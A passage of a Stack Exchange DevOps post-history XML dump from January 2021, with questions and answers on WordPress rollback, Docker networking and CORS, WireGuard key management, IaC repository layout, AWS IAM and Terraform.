Live site. You do frequently do &quot;brain surgery&quot; on the Test site. If the brain surgery goes wrong it's annoying and painful to fix but it is only the Test site that needs some new step to bring it into sync with Live. It is likely that this only happens when you move to a new Wordpress version. If you try a custom approach of moving change into a Live site they might break at a future Wordpress release and leave you with a multiple-day outage in Live.  &#xD;&#xA;&#xD;&#xA;I completely recognise that the approach outlined above isn't at all how &quot;normal&quot; software is developed. Yet it is the approach that I have scripted in the past. Even if you did the standard dev/test/live approach you do not guarantee 100% perfection and 0 bugs but you might have a longer mean time between failures. If you accept that perfection isn't possible then what you want is very fast rollback to reduce the impact of bugs. You do this by focusing on reducing the meantime to recovery to the speed of a restore script and the time taken to get permission/agreement to run it. &#xD;&#xA;&#xD;&#xA;Being able to rehearse things in a Test environment should mostly avoid a total outage on the live site. Being able to do a fully automated restore can then bring you back to a good state at the loss of some recent edits to the site. That is normally completely acceptable compared to having an extended outage. Consider this scenario: &#xD;&#xA;&#xD;&#xA; - Staff are continually editing content in production including uploading new media into the content folder on disk (e.g., uploading a PDF and linking to it within content where the link is in the database). &#xD;&#xA; - You have run some Wordpress updates in Test a day ago and they seemed good. Today you run them at 9 am in the Live and something odd happens (maybe a timeout, whatever) and the site becomes corrupted. &#xD;&#xA; - You have automated the rollback. You run the roll-back script which computes the last nightly full backup point then restores the database, then restores last night's media content folder backup over the live folder to revert any lost or corrupted files. &#xD;&#xA;&#xD;&#xA;To my knowledge that is as good as you can get. Your meantime to recovery should be the speed of your database restore plus the time take to spot the problem and agree to do the restore. This is exactly why you shouldn't have to speak to editing Staff about whether or not they are happy with the roll-back as the site is broken so of course, they would agree to restore the site automatically, rather than have the site down for hours while a possible point fix is investigated and attempted. You can send out a prepared email telling Staff that there was an outage at 9 am such that the site has been restored to the previous nights backup and that they should double-check and repeat any work that they have undertaken in the past twenty-four hours and redo their work as necessary. IMHO that is as close to perfection as an opensource PHP content management system such as Wordpress allows. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.git-tower.com/blog/git-wordpress-2/&#xD;&#xA;  [2]: https://www.git-tower.com/blog/git-wordpress-1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40191" PostHistoryTypeId="2" PostId="13068" RevisionGUID="aee9979c-2310-4433-a590-f27e06b7ff5e" CreationDate="2021-01-03T09:55:03.760" UserId="25417" Text="Checkout Play with docker [here][1]. If you just started then it is best to install docker on your local machine to get more of a native experience and understanding of docker networks and overlays etc... and after that you can move on to any cloud like aws ECS service, azure etc....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://labs.play-with-docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40192" PostHistoryTypeId="50" PostId="10060" RevisionGUID="9a707c7d-de30-4a96-997e-5c72b14746ac" CreationDate="2021-01-03T11:02:45.410" UserId="-1" />
  <row Id="40193" PostHistoryTypeId="5" PostId="13057" RevisionGUID="fa3da839-acfe-4ab5-9a25-ad5a28f0fa48" CreationDate="2021-01-03T12:55:00.787" UserId="25391" Comment="added 177 characters in body" Text="I know this is a bit late (like by 2 years lol), but [akeyless.io][1] is a SaaS secrets management tool. You can see more info compared to [other tools here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.akeyless.io&#xD;&#xA;  [2]: https://datafloq.com/read/5-compelling-alternatives-hashicorp-vault/11244" ContentLicense="CC BY-SA 4.0" />
  <row Id="40194" PostHistoryTypeId="2" PostId="13069" RevisionGUID="138d4053-8e3f-4620-85b8-e3e64547273a" CreationDate="2021-01-03T14:14:10.150" UserId="25419" Text="I am using berks with Chef. I add a new cookbook to my Berksfile,&lt;br&gt;&#xD;&#xA;and I am getting - &#xD;&#xA;&#xD;&#xA;&gt; &quot;The lockfile is out of sync! Run `berks install` to sync the lockfile.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried to run berks install before and to delete local cache and to delete old Berks.lock file.&#xD;&#xA;&lt;br&gt;any other idea???&lt;br&gt;&#xD;&#xA;the cookbook I added is internal &#xD;&#xA;&#xD;&#xA;&gt; cookbook('name', git: &quot;git@github.com:Name/Name.git&quot;, rel: &quot;&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;using berks version 7.0.8" ContentLicense="CC BY-SA 4.0" />
  <row Id="40195" PostHistoryTypeId="1" PostId="13069" RevisionGUID="138d4053-8e3f-4620-85b8-e3e64547273a" CreationDate="2021-01-03T14:14:10.150" UserId="25419" Text="Berksfile lockfile is out of sync" ContentLicense="CC BY-SA 4.0" />
  <row Id="40196" PostHistoryTypeId="3" PostId="13069" RevisionGUID="138d4053-8e3f-4620-85b8-e3e64547273a" CreationDate="2021-01-03T14:14:10.150" UserId="25419" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40197" PostHistoryTypeId="2" PostId="13070" RevisionGUID="6df596c3-c2d5-432f-b2a2-6d40c1b8b1a0" CreationDate="2021-01-03T16:35:17.537" UserId="25412" Text="While you are running a container linked to your PC/Server Docker, the Kind Kubernetes port is available on your PC/Server not on the container. &#xD;&#xA;&#xD;&#xA;So if you run `kubectl` commands from your machine it will work (including the kubeconfig).&#xD;&#xA;&#xD;&#xA;Solution: Using `--network=&quot;host&quot;` in your docker command, the container will act as your localhost (eg. `docker run --network=&quot;host&quot; -v /var/run/docker.sock:/var/run/docker.sock -it ef33f1a0ac5e bash`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40198" PostHistoryTypeId="2" PostId="13071" RevisionGUID="47b0d1d1-a71e-427e-b77f-f908f7359d65" CreationDate="2021-01-03T18:14:57.620" UserId="25422" Text="I have a CI pipeline, in Azure DevOps, to build a .net core 3 project which uses EF Core 3, I need a way to check if the developer missed to do `Add-Migration` after they changed the model in the system.&#xD;&#xA;&#xD;&#xA;I thought about, somehow, do `Add-Migration temp` and check the generated file if it doesn't have any `Up` or `Down` steps in it, don't know how yet.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a better way to do it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40199" PostHistoryTypeId="1" PostId="13071" RevisionGUID="47b0d1d1-a71e-427e-b77f-f908f7359d65" CreationDate="2021-01-03T18:14:57.620" UserId="25422" Text="In AzureDevops CI pipeline how to check if missing to add-migration in EF Core 3" ContentLicense="CC BY-SA 4.0" />
  <row Id="40200" PostHistoryTypeId="3" PostId="13071" RevisionGUID="47b0d1d1-a71e-427e-b77f-f908f7359d65" CreationDate="2021-01-03T18:14:57.620" UserId="25422" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40201" PostHistoryTypeId="5" PostId="13026" RevisionGUID="e562c13b-3b39-4433-a280-5f60dfea9929" CreationDate="2021-01-03T20:32:49.167" UserId="10599" Comment="add the presentation about KNative" Text="**TL;DR** &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;**Long Version** &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine, IBM Cloud Kubernetes Service and Alibaba Container Service for Kubernetes. There is a vast difference between deploying software onto a Kubernetes cluster that someone else set up, secured, then automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;**History Lesson ;-)**&#xD;&#xA;&#xD;&#xA;The historic position around 2011 before Docker was released in 2013 would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that, it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having built-in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure.&#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Opensource container orchestrators have revolutionised things by fixing those problems. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now all support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;**Update:** &#xD;&#xA;&#xD;&#xA;I found the talks [Stop Calling Knative Serverless! - Doug Davis][3] very informative. At around 2:45 which compares PaaS, with CaaS, with FaaS. The talk introduces KNative and at the end around 32:07 compares KNative to PaaS, CaaS and FaaS. The presentation states that the Kubernetes definition of CaaS is rather bare-bones and missing a lot of &quot;obvious&quot; things if you are familiar with a PaaS. Both KNative and OKD (Openshift) are demonstrating that you can build another style of platform (PaaS, FaaS) on top of the bare-bones Kubernetes CaaS. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html&#xD;&#xA;  [3]: https://www.youtube.com/watch?v=28CqZZFdwBY" ContentLicense="CC BY-SA 4.0" />
  <row Id="40212" PostHistoryTypeId="2" PostId="13073" RevisionGUID="7376daae-1b36-45e1-ad8f-ca03e1754b8b" CreationDate="2021-01-04T08:55:19.863" UserId="24583" Text="I have activated my Docker Engine V1.41 REST API in [docker][1] with this artcile: https://blog.usejournal.com/how-to-enable-docker-remote-api-on-docker-host-7b73bd3278c6&#xD;&#xA;&#xD;&#xA;After that in my browser it works fine like http://localhost:port/container/list will show me all lists of my containers in json.&#xD;&#xA;&#xD;&#xA;But now, when I try to reach the API with axios in react I get an CORS error: [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;So I think I have to setup cors for docker?&#xD;&#xA;&#xD;&#xA;I found a bunch of articles about how to enable CORS for a docker image / container but nothing about enabling it for the docker agent / host itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/docker-training&#xD;&#xA;  [2]: https://i.stack.imgur.com/bSXFF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40213" PostHistoryTypeId="1" PostId="13073" RevisionGUID="7376daae-1b36-45e1-ad8f-ca03e1754b8b" CreationDate="2021-01-04T08:55:19.863" UserId="24583" Text="CORS in Docker Engine REST Api" ContentLicense="CC BY-SA 4.0" />
  <row Id="40214" PostHistoryTypeId="3" PostId="13073" RevisionGUID="7376daae-1b36-45e1-ad8f-ca03e1754b8b" CreationDate="2021-01-04T08:55:19.863" UserId="24583" Text="&lt;docker&gt;&lt;cors&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40216" PostHistoryTypeId="2" PostId="13074" RevisionGUID="f95decfe-3159-41e9-ae92-0d3969a43b70" CreationDate="2021-01-04T12:47:46.213" UserId="24740" Text="A Microsoft employee has confirmed there is a bug in the &quot;Current balance&quot; notification that pops up at the top of the page.&#xD;&#xA;&#xD;&#xA;The value in that notification continues to go down at the same rate for up to 48 hours after you have deleted a resource (in my case a database)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40219" PostHistoryTypeId="2" PostId="13076" RevisionGUID="b40a8a7d-b5d3-4c66-9e24-a0079be0dfa9" CreationDate="2021-01-04T13:10:50.100" UserId="7513" Text="I'd have to say that I don't think it's possible and if you understood windows containers you really wouldn't want to do it anyway. Last time I checked, a windows container weighs in at gigabytes++ and that's huge to run notepad.&#xD;&#xA;&#xD;&#xA;You can run xwindows apps in a container, but windows is, basically, complete shite in a container. &#xD;&#xA;&#xD;&#xA;If you want a sandbox then you should checkout VirtualMachine or Hyper-V. You can script either with Vagrant (from Hashicorp)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40220" PostHistoryTypeId="2" PostId="13077" RevisionGUID="8b71108a-9d00-4cfe-a0cc-0274cfa930fd" CreationDate="2021-01-04T13:13:51.607" UserId="7513" Text="CORS is applied at the application layer, not the infrastructure (docker) layer. So, this has nothing to do with docker. It also has nothing to do with the axios client. Rather, your server needs to allow requests from your client by returning the correct headers via the OPTIONS method.&#xD;&#xA;&#xD;&#xA;If you're using nodejs and express, you can add something like this to your service:&#xD;&#xA;&#xD;&#xA;```javascript&#xD;&#xA;app.use((req, res, next) =&gt; {&#xD;&#xA;  res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);&#xD;&#xA;  res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;Origin, X-Requested-With, Content-Type, Accept, Authorization&quot;);&#xD;&#xA;  res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;GET&quot;);&#xD;&#xA;&#xD;&#xA;  if (req.method === &quot;OPTIONS&quot;) return res.status(200).json({});&#xD;&#xA;&#xD;&#xA;  next();&#xD;&#xA;});&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or, there are plenty of CORS libraries that can help you out." ContentLicense="CC BY-SA 4.0" />
  <row Id="40222" PostHistoryTypeId="2" PostId="13078" RevisionGUID="4548bbae-c816-4509-824f-f11bdd7eca1e" CreationDate="2021-01-04T16:07:00.290" UserId="2708" Text="(Disclaimer: As the question has not received an answer yet, I came to the conclusion that there is currently no out-of-the-box solution. Thus, I'm sharing what I ended up doing, and hope it will help others. Still, I would be interested to learn of a better solution if there is one.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;WireGuard can be used, but each of the n-to-m connections will need its own keys. Managing that by hand becomes tedious if the number of machines increases. Therefore, it is advisable to automated it:&#xD;&#xA;&#xD;&#xA;1. Generate all keys in advance&#xD;&#xA;2. Distribute the keys to the machine using Ansible (e.g. by generating systemd services `wg0.network` and `wg0.netdev`) &#xD;&#xA;&#xD;&#xA;Note that step 1 assumes that the maximum number of machines is known in advance. If you cannot provide an upper bound, this approach will not work. Instead you will need to implement a dynamic key generation and exchange protocol.&#xD;&#xA;&#xD;&#xA;If you end up using fewer machines then the configure upper bound, it will still work. Distributing the keys means that WireGuard will allow connections from different machines, but does not require that all peers are always available.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Scaling: In my setup, the upper bound was in the order of 100. That works without problems, but I did not test how it scales if you need to go higher (e.g. to the order of 1000 or 10,000).&#xD;&#xA;&#xD;&#xA;What if there is no upper bound? -- That is a more difficult problem, and I don't know how to solve it best. As said, you would need to generate key dynamically and exchange them. I was considering opening SSH and using it to exchange on-the-fly generated WireGuard keys.&#xD;&#xA;&#xD;&#xA;Note that with SSH, you can reuse the same key on different machines. That eliminates the need to exchange dynamically generated keys. But be aware that reusing the same key for all machines is a trade-off between convenience and security. If one machine gets compromised, the attacker will gain access to all other machines, too.&#xD;&#xA;&#xD;&#xA;Maybe there is some solution that is more elegant and more secure. Perhaps directly using Wireguard is not a good idea if you need to support an arbitrary number of dynamic hosts. It is easy to introduce subtle security issues when implementing your own key exchange protocol." ContentLicense="CC BY-SA 4.0" />
  <row Id="40223" PostHistoryTypeId="33" PostId="12803" RevisionGUID="b9e3818d-b1c5-47ba-943a-a1c9cd4b2131" CreationDate="2021-01-04T17:01:26.437" UserId="24521" Comment="65" />
  <row Id="40224" PostHistoryTypeId="2" PostId="13079" RevisionGUID="c9be5ca1-a3da-4bad-a2fc-24d7e4bb3a4a" CreationDate="2021-01-04T17:13:08.893" UserId="62" Text="It is definitely advantageous for CICD since you can ship dependent infra and app code changes together, instead of having to manually synchronize it. This means you can run tests that also cover the infrastructure and reduce the likeliness of shipping a breaking change.&#xD;&#xA;&#xD;&#xA;But you have to be wary of possible downside, especially pipeline times since infra changes can lead to longer feedback time.&#xD;&#xA;&#xD;&#xA;Certain technologies such as pulumi can make this a lot easier, so you might need to research if it makes sense to invest in them, or make do with the current ones in use for your projects." ContentLicense="CC BY-SA 4.0" />
  <row Id="40225" PostHistoryTypeId="2" PostId="13080" RevisionGUID="bcc5ef58-6abe-42b1-8612-c768bcc10aac" CreationDate="2021-01-04T17:25:38.843" UserId="25478" Text="Personally I would always seperate out the pure IaC code in a different repository.&#xD;&#xA;The only &quot;Ops&quot; related thing that should reside in the application repository should be Makefiles, Docker-Compose or pure Dockerfiles to bring up test environments for local or CI/CD tests.&#xD;&#xA;&#xD;&#xA;Additionally you should follow the Principle of Least Privilege and therefore you may have developers in the team who should not be able to tear down the whole infrastructure because they can work and look into all the code, states and secrets in the same repository.&#xD;&#xA;&#xD;&#xA;If you need to build up Infrastructure after you ship application features like: &quot;We add this new app/microservice which then creates a Pub/Sub environment, a bucket for storage and some other stuff&quot; I would consider looking into Terraform Modules (or as Michael Pereira already mentioned Pulumi). Maybe cdk8s could also fit, but this all depends on what &quot;IaC&quot; you are using and how." ContentLicense="CC BY-SA 4.0" />
  <row Id="40226" PostHistoryTypeId="2" PostId="13081" RevisionGUID="339b5922-f3d6-40ae-86f6-478be39f41b8" CreationDate="2021-01-04T17:51:52.833" UserId="25479" Text="I have two containerised services, A and B, with which I wish to isolate network communications with docker compose. There is also a shared service C which is not isolated from A or B and is free to communicate with either.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I have tried to achieve this with the following docker-compose.yaml:&#xD;&#xA;&#xD;&#xA;    version: &quot;3.3&quot;&#xD;&#xA;    services:&#xD;&#xA;      C:&#xD;&#xA;        build: C&#xD;&#xA;        depends_on:&#xD;&#xA;          - A&#xD;&#xA;          - B&#xD;&#xA;        expose:&#xD;&#xA;          - 8080&#xD;&#xA;        networks:&#xD;&#xA;          - A&#xD;&#xA;          - B&#xD;&#xA;      A:&#xD;&#xA;        build: A&#xD;&#xA;        expose:&#xD;&#xA;          - 8080&#xD;&#xA;        networks:&#xD;&#xA;          - A&#xD;&#xA;      B:&#xD;&#xA;        build: B&#xD;&#xA;        expose:&#xD;&#xA;          - 8080&#xD;&#xA;        networks:&#xD;&#xA;          - B&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      A:&#xD;&#xA;        internal: true&#xD;&#xA;      B:&#xD;&#xA;        internal: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With this, C is able to connect to both A and B on the hosts A:8080 and B:8080 respectively and  A and B are isolated as required. However, neither A nor B is able to connect to C on C:8080. Removing the network options from the compose file, all services are able to talk to each other. What am I doing wrong?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/td5Jp.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40227" PostHistoryTypeId="1" PostId="13081" RevisionGUID="339b5922-f3d6-40ae-86f6-478be39f41b8" CreationDate="2021-01-04T17:51:52.833" UserId="25479" Text="Isolate service networks with Docker Compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="40228" PostHistoryTypeId="3" PostId="13081" RevisionGUID="339b5922-f3d6-40ae-86f6-478be39f41b8" CreationDate="2021-01-04T17:51:52.833" UserId="25479" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40229" PostHistoryTypeId="2" PostId="13082" RevisionGUID="eb5952e7-0c18-4718-b446-33d271bb89c2" CreationDate="2021-01-04T23:16:09.047" UserId="6162" Text="Structuring application code, application configuration and infrastructure in Git repositories is sometimes not the easiest thing to do, and there are not a single correct solution, instead it sometimes depends on how you want to work and what tools you use e.g. monorepo with monorepo tools or one repo per app.&#xD;&#xA;&#xD;&#xA;The classic book [Continuous Delivery][1] touches on this topic. From my own experience working full time with this problem for a few years on a Kubernetes platform I can confirm that it helps to follow the structure from that book to some extend, but again it also depends on how you want to work. If you use Kubernetes, the 2nd edition of [Kubernetes Up &amp; Running][2] has a new chapter 18 about how to structure code and manifests in repositories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Repositories**&#xD;&#xA;&#xD;&#xA;The Continuous Delivery book use a repository for _application source code_ and a separate repository for _application configuration_. The repo for _application configuration_ contains the environment specific configuration for the app, for each environment (e.g. test, staging and prod). When apps are deployed using some for of IaC e.g. Terraform or Kubernetes manifests, this lives in the repo for _application configuration_. If you are using Kubernetes, [Kustomize][3] with manifests and overlays for each environment is useful to use.&#xD;&#xA;&#xD;&#xA;The reason to the separation of the _source code_ and _configuration_ here, as explained in the book, is that they have different _lifecycles_, e.g. they change at different points in a pipeline. An example, you typically don't want to run all your integration test if you only want to change a value in the configuration repo, e.g. a feature-toogle or when you do rollback to a previously working version.&#xD;&#xA;&#xD;&#xA;## App Build Pipeline&#xD;&#xA;&#xD;&#xA;* A repository for application source code&#xD;&#xA;* Every `git-push` to the repository initiates a _Build Pipeline_-run&#xD;&#xA;* The _build pipeline_ typically builds the app, test it, build docker images and perhaps run integration tests. If everything has succeeded, it also push the image to an image registry. The last task in the pipeline would be to `git-clone` the _application configuration respository_ and updated the image reference to the newly built image.&#xD;&#xA;* The result of this pipeline is that it either failed on a certain task, or that it succeeded. And if it succeeded on the mainline (not a feature-branch) you probably want to initiate a _Deployment Pipeline_, typically with a `git-push` to the _application configuration_ repo.&#xD;&#xA;&#xD;&#xA;## App Deployment Pipeline&#xD;&#xA;&#xD;&#xA;* A repository for application configuration (and IaC)&#xD;&#xA;* The _Build Pipeline_ typically writes to this repo, for successful builds on the mainline. But also Developers or Operations may want to write to this repo for e.g. configuration changes like feature-toggles or change of URLs, perhaps with a PullRequest reviewed by team members.&#xD;&#xA;* The _Deployment Pipeline_ typically apply the configuration with e.g. `kubectl apply` or `terraform apply` using a deployment strategy of choice e.g. Rolling Deployment, A/B-testing deployment or a Canary Deployment - some of these strategies includes two parallel deployments.&#xD;&#xA;* In a more advanced _Deployment Pipeline_ you might want to automatically monitor metrics after the deployment and perhaps rollback if it looks bad. (typically a part of Canary Deployment).&#xD;&#xA;&#xD;&#xA;## Infrastructure Pipeline&#xD;&#xA;&#xD;&#xA;Above I have explained how custom developed applications is deployed using IaC. But there are also other kinds of infrastructure and IaC, like e.g. Kubernetes clusters, load balancers or Kafka clusters. These are typically pre-built software, where your responsibility mostly is about _configuration_. Pipelines for this kind of infrastructure are similar to _App Deployment Pipeline_ but you may want to run tests and integration tests on Pull Requests to this repository. The book [Infrastructure as Code: Dynamic Systems for the Cloud Age][4] is good about this kind of systems, tests and pipelines.&#xD;&#xA;&#xD;&#xA;* A repository for infrastructure configuration (possibly Terrafrom, Terragrunt or possibly Kubernetes manifests).&#xD;&#xA;* Tests (e.g. linting) and possibly integration tests (provision the infrastructure in an isolated environment and validate properties)&#xD;&#xA;* Apply configuration (to one ore more environments) e.g. using `terragrunt apply` or `terraform apply` or maybe `kubectl apply`&#xD;&#xA;&#xD;&#xA;_In the end, it all depends on how you want to work. Maybe you want to work with less process and PRs. Or maybe all your app soruce code is in a big monorepo, then you might want to work in a workflow and structure that fits with the tools you use._&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.com/Continuous-Delivery-Deployment-Automation-Addison-Wesley-dp-0321601912/dp/0321601912/&#xD;&#xA;  [2]: https://www.amazon.com/Kubernetes-Running-Dive-Future-Infrastructure/dp/1492046531/&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/manage-kubernetes-objects/kustomization/&#xD;&#xA;  [4]: https://www.amazon.com/Infrastructure-Code-Dynamic-Systems-Cloud-ebook/dp/B08Q35FM4B/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40230" PostHistoryTypeId="2" PostId="13083" RevisionGUID="3e242a7e-fdbe-4046-8b73-fe4b56666277" CreationDate="2021-01-05T04:59:49.120" UserId="25483" Text="I solved this issue with these IAM permissions,&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Sid&quot;: &quot;query&quot;,&#xD;&#xA;        &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;        &quot;Action&quot;: [&#xD;&#xA;            &quot;logs:StopQuery&quot;,&#xD;&#xA;            &quot;logs:StartQuery&quot;&#xD;&#xA;        ],&#xD;&#xA;        &quot;Resource&quot;: &quot;arn:aws:logs:us-east-1:*:log-group:/aws/lambda/my-lambda-function-name*:*&quot;&#xD;&#xA;    },&#xD;&#xA;    {&#xD;&#xA;        &quot;Sid&quot;: &quot;logstream&quot;,&#xD;&#xA;        &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;        &quot;Action&quot;: [&#xD;&#xA;            &quot;logs:GetQueryResults&quot;,&#xD;&#xA;            &quot;logs:DescribeLogGroups&quot;&#xD;&#xA;        ],&#xD;&#xA;        &quot;Resource&quot;: &quot;arn:aws:logs:us-east-1:*:log-group::log-stream:*&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(you need to change the region `us-east-1` and `my-lambda-function-name` to your lambda function name)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40231" PostHistoryTypeId="2" PostId="13084" RevisionGUID="dd61d5d5-fea4-41b7-b579-727a9efd3377" CreationDate="2021-01-05T13:04:54.253" UserId="13298" Text="I have read cap_dac_override is enabled my default on docker.&#xD;&#xA;&#xD;&#xA;This capability allows a container to write files on the host.&#xD;&#xA;&#xD;&#xA;But i do not understand if this writing capability only applies on mounted volumes on or the whole host file system ? If so, isn't it a security hole ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="40232" PostHistoryTypeId="1" PostId="13084" RevisionGUID="dd61d5d5-fea4-41b7-b579-727a9efd3377" CreationDate="2021-01-05T13:04:54.253" UserId="13298" Text="Docker cap_dac_override capability security hasard" ContentLicense="CC BY-SA 4.0" />
  <row Id="40233" PostHistoryTypeId="3" PostId="13084" RevisionGUID="dd61d5d5-fea4-41b7-b579-727a9efd3377" CreationDate="2021-01-05T13:04:54.253" UserId="13298" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40234" PostHistoryTypeId="2" PostId="13085" RevisionGUID="d1acc707-c303-4492-9faf-69ff1960a80b" CreationDate="2021-01-05T13:12:50.733" UserId="11598" Text="how to update the .env file in production while Jenkins deployment?&#xD;&#xA;we have not committed the .env file in git for security reasons." ContentLicense="CC BY-SA 4.0" />
  <row Id="40235" PostHistoryTypeId="1" PostId="13085" RevisionGUID="d1acc707-c303-4492-9faf-69ff1960a80b" CreationDate="2021-01-05T13:12:50.733" UserId="11598" Text="how to update .env file in production while Jenkins deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="40236" PostHistoryTypeId="3" PostId="13085" RevisionGUID="d1acc707-c303-4492-9faf-69ff1960a80b" CreationDate="2021-01-05T13:12:50.733" UserId="11598" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40237" PostHistoryTypeId="2" PostId="13086" RevisionGUID="71edf659-a226-4f56-b378-b1d3d2d0f1f7" CreationDate="2021-01-05T13:46:16.657" UserId="17276" Text="I have 2 VPCs in the same account and want to test that a lambda function in one VPC will be able to connect to a lambda function in the other." ContentLicense="CC BY-SA 4.0" />
  <row Id="40238" PostHistoryTypeId="1" PostId="13086" RevisionGUID="71edf659-a226-4f56-b378-b1d3d2d0f1f7" CreationDate="2021-01-05T13:46:16.657" UserId="17276" Text="Can you use X-ray between VPCs in AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40239" PostHistoryTypeId="3" PostId="13086" RevisionGUID="71edf659-a226-4f56-b378-b1d3d2d0f1f7" CreationDate="2021-01-05T13:46:16.657" UserId="17276" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40240" PostHistoryTypeId="2" PostId="13087" RevisionGUID="61cc53af-6889-45bf-9e67-63005ccc71c1" CreationDate="2021-01-05T14:13:29.933" UserId="25491" Text="Do you already manage your resources with Terraform or are you looking for something to iterate through your AWS environment to change those settings?&#xD;&#xA;&#xD;&#xA;If you're currently not managing your environment with Terraform, you'll have to import your resources into Terraform before you can begin making changes to your environment.&#xD;&#xA;&#xD;&#xA;Your request sounds more like something you'd use the AWS CLI or perhaps Ansible for. Terraform isn't intended to perform scripting tasks on an environment." ContentLicense="CC BY-SA 4.0" />
